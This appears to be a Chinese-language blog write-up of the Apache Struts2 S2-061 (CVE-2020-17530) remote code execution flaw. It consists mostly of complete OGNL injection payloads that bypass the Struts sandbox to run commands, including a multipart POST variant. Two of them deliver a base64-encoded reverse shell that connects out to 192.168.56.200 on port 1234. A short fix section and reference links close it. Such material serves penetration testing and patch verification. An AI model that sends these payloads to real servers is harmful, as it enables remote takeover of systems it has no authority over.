漏洞名称
S2-061 CVE-2020-17530 远程代码执行
利用条件
Struts 2.0.0 - Struts 2.5.25
漏洞原理
s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如 id，其他属性有待寻找) 的属性值进行二次表达式解析，因此当这些标签属性中使用了 %{x} 且 x 的值用户可控时，用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
漏洞利用
漏洞检测
命令执行
payload1
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
使用burp特殊字符编码
payload2
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec+=+#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'id'}).(#res=#exec.exec(#cmd))}
直接url发送
使用burp
payload3
改为post请求
修改Content-Type为multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
加入以下内容
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
payload4
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
burp特殊字符编码
反弹shell
payload1
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'}))}
burp特殊字符编码后发送
payload2
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec+=+#application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'}).(#res=#exec.exec(#cmd))}
编码后发送
修复建议
升级最新版
不方便升级的用户，至少也应采取以下措施降低风险：避免对不受信任的用户输入使用强制OGNL评估。
官方安全指南链接：
https://struts.apache.org/security/#do-not-use-incoming-untrusted -user-input-in-forced-expression-evaluation
参考文章
https://si1ent.xyz/2021/02/26/Struts2漏洞汇总/
https://github.com/wuzuowei/CVE-2020-17530
https://cwiki.apache.org/confluence/display/WW/S2-061
标签：061,get,newInstance,S2,request,setBean,代码执行,apache,org From： https://www.cnblogs.com/crayonxiaoxin/p/17047366.html